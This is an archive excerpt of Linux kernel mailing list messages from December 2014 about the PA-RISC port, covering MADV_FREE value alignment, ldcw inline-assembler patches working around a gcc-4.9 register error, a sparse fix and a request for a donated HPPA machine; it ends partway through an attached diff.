>> Thanks for looking at this.
>> Feel free to add my sign.
>>
>> Acked-by: Minchan Kim <minchan@kernel.org>
>>
> 
> OK, thanks.
> 
> Originally I sent the same patch like you sent (but later than yours).
> Geert suggested to use same value for MADV_FREE, and Carlos confirmed
> it and suggested more things (sorry, I forgot to Cc them in this mail).
> 
> 
> Thanks.
> 


-- 
Chen Gang

Open share and attitude like air water and life which God blessed
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Let MADV_FREE have same value for all architectures
Date: Sun, 7 Dec 2014 11:14:42 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <BLU436-SMTP2290D2D7C148D22663FD75E97670@phx.gbl>
References: <5480E715.3020900@gmail.com> <20141205065417.GA3358@bbox> <54822B19.2070804@gmail.com> <54832761.1050700@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417969238 388 80.91.229.3 (7 Dec 2014 16:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Dec 2014 16:20:38 +0000 (UTC)
Cc: "jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Joel Brobecker <brobecker@adacore.com>
To: Chen Gang <gang.chen.5i5j@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Dec 07 17:20:29 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XxeZQ-00034c-FN
	for glk-linux-kernel-3@plane.gmane.org; Sun, 07 Dec 2014 17:20:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752248AbaLGQUI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 7 Dec 2014 11:20:08 -0500
Original-Received: from blu004-omc1s29.hotmail.com ([65.55.116.40]:50583 "EHLO
	BLU004-OMC1S29.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750797AbaLGQUF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 7 Dec 2014 11:20:05 -0500
X-Greylist: delayed 303 seconds by postgrey-1.27 at vger.kernel.org; Sun, 07 Dec 2014 11:20:05 EST
Original-Received: from BLU436-SMTP229 ([65.55.116.8]) by BLU004-OMC1S29.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sun, 7 Dec 2014 08:15:00 -0800
X-TMN: [S8N7Lx827wETp6/Tx3y7rrM1oPq+U2Ws]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <54832761.1050700@gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 Dec 2014 16:14:59.0534 (UTC) FILETIME=[F2D63EE0:01D01238]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1846148 gmane.linux.ports.parisc:25500
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1846148>

On 6-Dec-14, at 10:57 AM, Chen Gang wrote:

> And I also want to consult about parisc assembly instructions, I can  
> not
> find the related reference documents, could you help to have a check  
> (or
> provide some related information for it)? related contents are below:

https://parisc.wiki.kernel.org/index.php/Technical_Documentation

Dave
--
John David Anglin	dave.anglin@bell.net




From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Let MADV_FREE have same value
 for all architectures
Date: Mon, 08 Dec 2014 06:35:29 +0800
Lines: 32
Approved: news@gmane.org
Message-ID: <5484D631.4010606@gmail.com>
References: <5480E715.3020900@gmail.com> <20141205065417.GA3358@bbox> <54822B19.2070804@gmail.com> <54832761.1050700@gmail.com> <BLU436-SMTP2290D2D7C148D22663FD75E97670@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417991337 4310 80.91.229.3 (7 Dec 2014 22:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Dec 2014 22:28:57 +0000 (UTC)
Cc: "jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Joel Brobecker <brobecker@adacore.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 07 23:28:50 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XxkJr-0003gB-IR
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Dec 2014 23:28:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753114AbaLGW2r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Dec 2014 17:28:47 -0500
Original-Received: from mail-pd0-f170.google.com ([209.85.192.170]:56587 "EHLO
	mail-pd0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751414AbaLGW2q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Dec 2014 17:28:46 -0500
Original-Received: by mail-pd0-f170.google.com with SMTP id v10so3959980pde.1
        for <multiple recipients>; Sun, 07 Dec 2014 14:28:46 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=brnLRAxM6wi4NrbFeWwflhXyrUPKvQNxGIa8kUvsN70=;
        b=eSl1varnLaQfUMOJUl9Es3l4VSICH/fYoZMTUBohBzG+RAo+nPGmaBkaBDgCHJmlTF
         isvOf7mLipKLFRoJla2NpIH7esfXtZMO1Kumu5O3BeVyhvEbxmXA5bXSPCae8WXztqmd
         Jy5dhZ32eeG5a1+jkNb9kQ1jm6lCaMYY758e8aIQPfCxLwts0t/ZaUh2zZHLXoHcpte9
         OjOpWx2/KHr3tZrTVkw0gKhtfHZiDurf9Vz4As5z2BrjJRpkLPQwKRAGwZ5WhTKmzXyg
         3Eld/Nj9CUYkgPtVNSnnRH0FhrW8yo1KkA/NWvQDlD5F+iQ+rhxv38/3beXr82LQgX9D
         yA6A==
X-Received: by 10.66.253.197 with SMTP id ac5mr47535253pad.152.1417991325952;
        Sun, 07 Dec 2014 14:28:45 -0800 (PST)
Original-Received: from ShengShiZhuChengdeMacBook-Pro.local ([223.72.65.106])
        by mx.google.com with ESMTPSA id fn7sm34851822pad.38.2014.12.07.14.28.42
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 07 Dec 2014 14:28:44 -0800 (PST)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <BLU436-SMTP2290D2D7C148D22663FD75E97670@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25501 gmane.linux.kernel:1846252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25501>


On 12/8/14 00:14, John David Anglin wrote:
> On 6-Dec-14, at 10:57 AM, Chen Gang wrote:
> 
>> And I also want to consult about parisc assembly instructions, I can not
>> find the related reference documents, could you help to have a check (or
>> provide some related information for it)? related contents are below:
> 
> https://parisc.wiki.kernel.org/index.php/Technical_Documentation

OK, thank you very much!!

For me, these information is enough, I checked the related sub link, it
has a full description for all related instruction (stb/h, stw, std).

  https://parisc.wiki.kernel.org/images-parisc/7/73/Parisc2.0.pdf

For me, my original comments need be improved: need mention about STH,
and maybe also need consider about additional related instructions of
parisc 2.0 (STDA, STWA, STBY, STDBY).


Thanks.
-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix out-of-register compiler error in ldcw inline
 assembler function
Date: Thu, 11 Dec 2014 00:08:04 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <5488D254.7010401@gmx.de>
References: <20141021194614.GA14418@ls3530.box> <BLU436-SMTP234E0B9D24642C60497B1EB97940@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090501040908050703000208"
X-Trace: ger.gmane.org 1418252902 25492 80.91.229.3 (10 Dec 2014 23:08:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Dec 2014 23:08:22 +0000 (UTC)
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 11 00:08:15 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XyqMe-0001jj-MF
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Dec 2014 00:08:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758176AbaLJXIM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Dec 2014 18:08:12 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:57985 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757741AbaLJXIL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Dec 2014 18:08:11 -0500
Original-Received: from [192.168.20.60] ([84.173.28.15]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Mdr7l-1YJwe80vxl-00PeXT; Thu, 11 Dec 2014 00:08:05
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
In-Reply-To: <BLU436-SMTP234E0B9D24642C60497B1EB97940@phx.gbl>
X-Provags-ID: V03:K0:z908MIf5ADlQZLBMoIWXRyJobt0pqcfLxATA08HkXpsf84VmCyu
 0/5879UbyJW03xnWQCT6nqB5tPWt5ETLp1E832JvPuPlLlXAfiTLKfuKX9a+cUric9oJEZ8
 sOtjP0r0cmvdYi08I79Asb9ZjMvlTMV40168PnZZSV9YLXlZaJFP6Y/Ba1eGzR8LPEDerMR
 fhMYen1BgLTC1uahBZsFQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25502>

This is a multi-part message in MIME format.
--------------090501040908050703000208
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit

On 10/21/2014 10:01 PM, John David Anglin wrote:
> On 10/21/2014 3:46 PM, Helge Deller wrote:
>>   /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
>> -#define __ldcw(a) ({                        \
>> -    unsigned __ret;                        \
>> -    __asm__ __volatile__(__LDCW " 0(%2),%0"            \
>> -        : "=r" (__ret), "+m" (*(a)) : "r" (a));        \
>> -    __ret;                            \
>> -})
>> +static inline unsigned int __ldcw(volatile unsigned int *address)
>> +{
>> +    unsigned int ret;
>> +    register volatile unsigned int *a = address;
>> +    __asm__ __volatile__(__LDCW " 0(%2),%0"
>> +        : "=r" (ret), "+m" (*(a)) : "r" (a));
>> +    return ret;
>> +}
> You could keep the old macro version for 32-bit builds as the problem shouldn't occur there.

Attached is an updated patch/work-around which just reuses the existing register.
I don't like this patch much, but it's better than nothing for now.

Helge
  


--------------090501040908050703000208
Content-Type: text/x-patch;
 name="ldcw2.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="ldcw2.patch"

diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/asm/ldcw.h
index d2d11b7..989595d 100644
--- a/arch/parisc/include/asm/ldcw.h
+++ b/arch/parisc/include/asm/ldcw.h
@@ -1,6 +1,8 @@
 #ifndef __PARISC_LDCW_H
 #define __PARISC_LDCW_H
 
+#include <linux/compiler.h>
+
 #ifndef CONFIG_PA20
 /* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
    and GCC only guarantees 8-byte alignment for stack locals, we can't
@@ -34,12 +36,22 @@
 #endif /*!CONFIG_PA20*/
 
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
-#define __ldcw(a) ({						\
-	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
-		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
-	__ret;							\
-})
+static inline unsigned int __ldcw(volatile unsigned int *address)
+{
+#if GCC_VERSION >= 40900
+	/* work around gcc-4.9 bug:
+	 * error: can't find a register in class 'R1_REGS' while reloading 'asm'
+	 */
+	__asm__ __volatile__(__LDCW " 0(%0),%0"
+		: "=r" (address), "+m" (*(address)) : "0" (address));
+	return (unsigned long) address;
+#else
+	unsigned int val;
+	__asm__ __volatile__(__LDCW " 0(%2),%0"
+		: "=r" (val), "+m" (*(address)) : "r" (address));
+	return val;
+#endif
+}
 
 #ifdef CONFIG_SMP
 # define __lock_aligned __attribute__((__section__(".data..lock_aligned")))

--------------090501040908050703000208--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Someone want to sponsor a HPPA box for the HPPA port?
Date: Sat, 13 Dec 2014 21:13:24 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <548C9DE4.7000306@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1418501631 25781 80.91.229.3 (13 Dec 2014 20:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 13 Dec 2014 20:13:51 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	HPPA porters <debian-hppa@lists.debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 13 21:13:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xzt4T-0000bT-Cj
	for glpp-linux-parisc@plane.gmane.org; Sat, 13 Dec 2014 21:13:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754199AbaLMUNm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 13 Dec 2014 15:13:42 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:49434 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754195AbaLMUNm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 13 Dec 2014 15:13:42 -0500
Original-Received: from [192.168.20.60] ([84.173.59.161]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LZzKf-1XWLX73q85-00lksn; Sat, 13 Dec 2014 21:13:24
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
X-Provags-ID: V03:K0:TzJu/di4IjW0sQf/k3/Xl/9zCjNhJtbbbpiFpX62vtubeOvoRN1
 xtfv4zmxS4byPZmjuE0O+diLw8sz8JVIBXKldYGbQWoxkTK+m8KWpmZexDRqMxa84JuvwZr
 Ite4QNLsBBVbhE4UY4aoaBki9OxnrQhCtZNzkpknhzxt+vSc8JWxw227HykKezyq+85TIqr
 y8VrFJRO1j7s4mBsbpj4g==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25503 gmane.linux.debian.ports.hppa:7255
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25503>

Hello everyone,

We got the offer from the nice people at OSUOSL.org that they would
host another HPPA box for us (beside the parisc.parisc-linux.org machine).
Personally I would like to set it up as debian buildd server, but of course
it can host a gentoo chroot as well.

Maybe someone of you (in the US due to shipping costs!) want to sponsor
one of your machines for this project? If you haven't used your machine
since quite some time yet, this would be the possibility to get it to work
on something useful now :-)
Ideally the machine should be rack-mountable and have a GSP port so that
remote administration is possible.

If you are interested to give-away such a machine, please let me know.
I can cover the shipping costs if needed.

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 12/18] parisc/uaccess: fix sparse errors
Date: Sun, 14 Dec 2014 18:52:47 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <1418575877-21488-13-git-send-email-mst@redhat.com>
References: <1418575877-21488-1-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1418576002 8186 80.91.229.3 (14 Dec 2014 16:53:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Dec 2014 16:53:22 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Sun Dec 14 17:53:15 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Y0CPy-00049L-CE
	for glka-linux-arch@plane.gmane.org; Sun, 14 Dec 2014 17:53:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752537AbaLNQxG (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 14 Dec 2014 11:53:06 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:52177 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752147AbaLNQxF (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Sun, 14 Dec 2014 11:53:05 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id sBEGqpBJ019753
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Sun, 14 Dec 2014 11:52:51 -0500
Original-Received: from redhat.com (ovpn-116-41.ams2.redhat.com [10.36.116.41])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id sBEGqljo028069;
	Sun, 14 Dec 2014 11:52:48 -0500
Content-Disposition: inline
In-Reply-To: <1418575877-21488-1-git-send-email-mst@redhat.com>
X-Mutt-Fcc: =sent
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:25774 gmane.linux.kernel:1850333 gmane.linux.ports.parisc:25504
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/25774>

virtio wants to read bitwise types from userspace using get_user.  At the
moment this triggers sparse errors, since the value is passed through an
integer.

Fix that up using __force.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/parisc/include/asm/uaccess.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index a5cb070..3a20da6 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -104,7 +104,7 @@ struct exception_data {
 	    }                                           \
 	}                                               \
 							\
-	(x) = (__typeof__(*(ptr))) __gu_val;            \
+	(x) = (__force __typeof__(*(ptr))) __gu_val;            \
 	__gu_err;                                       \
 })
 
-- 
MST


From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix out-of-register compiler error in ldcw inline assembler function
Date: Sun, 14 Dec 2014 10:49:11 -0500
Lines: 125
Approved: news@gmane.org
Message-ID: <A73C80F5-1200-437F-9199-2B916E3457B4@bell.net>
References: <20141021194614.GA14418@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary=Apple-Mail-10-30804288
X-Trace: ger.gmane.org 1418587153 11014 80.91.229.3 (14 Dec 2014 19:59:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Dec 2014 19:59:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 14 20:59:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y0FJp-0003ma-0Y
	for glpp-linux-parisc@plane.gmane.org; Sun, 14 Dec 2014 20:59:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751235AbaLNT7E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Dec 2014 14:59:04 -0500
Original-Received: from simcoe155srvr.owm.bell.net ([184.150.200.155]:39444 "EHLO
	torfep05.bell.net" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1750759AbaLNT7D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Dec 2014 14:59:03 -0500
X-Greylist: delayed 14958 seconds by postgrey-1.27 at vger.kernel.org; Sun, 14 Dec 2014 14:59:03 EST
Original-Received: from torspm03.bell.net ([10.90.35.48]) by torfep05.bell.net
          (InterMail vM.9.00.013.00 201-2473-140) with ESMTP
          id <20141214195856.PAKF29949.torfep05.bell.net@torspm03.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 14 Dec 2014 14:58:56 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          (InterMail vM.9.00.013.00 201-2473-140) with ESMTP
          id <20141214154941.FGPR28044.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 14 Dec 2014 10:49:41 -0500
Original-Received: from [192.168.2.16] (really [70.54.49.173]) by torspm02.bell.net
          (InterMail vM.9.00.013.00 201-2473-140) with ESMTP
          id <20141214154941.ZFAI28389.torspm02.bell.net@[192.168.2.16]>;
          Sun, 14 Dec 2014 10:49:41 -0500
In-Reply-To: <20141021194614.GA14418@ls3530.box>
X-Mailer: Apple Mail (2.936)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.548DB195.03B8,ss=1,re=0.001,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25505>


--Apple-Mail-10-30804288
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed;
	delsp=yes
Content-Transfer-Encoding: 7bit

On 21-Oct-14, at 3:46 PM, Helge Deller wrote:

> Sometimes we face this compiler error:
>
> arch/parisc/include/asm/ldcw.h:39:2: error: can't find a register in  
> class 'R1_REGS' while reloading 'asm'
> 	__asm__ __volatile__(__LDCW " 0(%2),%0"...
> 	note: in expansion of macro '__ldcw'
> 	error: 'asm' operand has impossible constraints
>
> Dave suggested:
> Likely the problem can be fixed by making __ldcw a static inline  
> function and
> forcing the argument 'a' to a specific register before using in ldcw.
>
> Since it's not easy to reproduce this bug, this patch now tries to  
> still let
> the compiler decide on which register should be used. If it doesn't  
> work, we'll
> have to assign a specific register as suggested by Dave.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
> Cc: John David Anglin <dave.anglin@bell.net>
>
> diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/ 
> asm/ldcw.h
> index d2d11b7..b951e01 100644
> --- a/arch/parisc/include/asm/ldcw.h
> +++ b/arch/parisc/include/asm/ldcw.h
> @@ -34,12 +34,14 @@
> #endif /*!CONFIG_PA20*/
>
> /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
> -#define __ldcw(a) ({						\
> -	unsigned __ret;						\
> -	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
> -		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
> -	__ret;							\
> -})
> +static inline unsigned int __ldcw(volatile unsigned int *address)
> +{
> +	unsigned int ret;
> +	register volatile unsigned int *a = address;
> +	__asm__ __volatile__(__LDCW " 0(%2),%0"
> +		: "=r" (ret), "+m" (*(a)) : "r" (a));
> +	return ret;
> +}
>
> #ifdef CONFIG_SMP
> # define __lock_aligned  
> __attribute__((__section__(".data..lock_aligned")))
>


Helge, could you test the attached patch.  Updated comment in change  
explains the "memory"
clobber.  It's been lightly tested.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
---



--Apple-Mail-10-30804288
Content-Disposition: attachment;
	filename=ldcw.h.d.txt
Content-Type: text/plain;
	x-unix-mode=0644;
	name="ldcw.h.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/asm/ldcw.h
index d2d11b7..8121aa6 100644
--- a/arch/parisc/include/asm/ldcw.h
+++ b/arch/parisc/include/asm/ldcw.h
@@ -33,11 +33,18 @@
 
 #endif /*!CONFIG_PA20*/
 
-/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
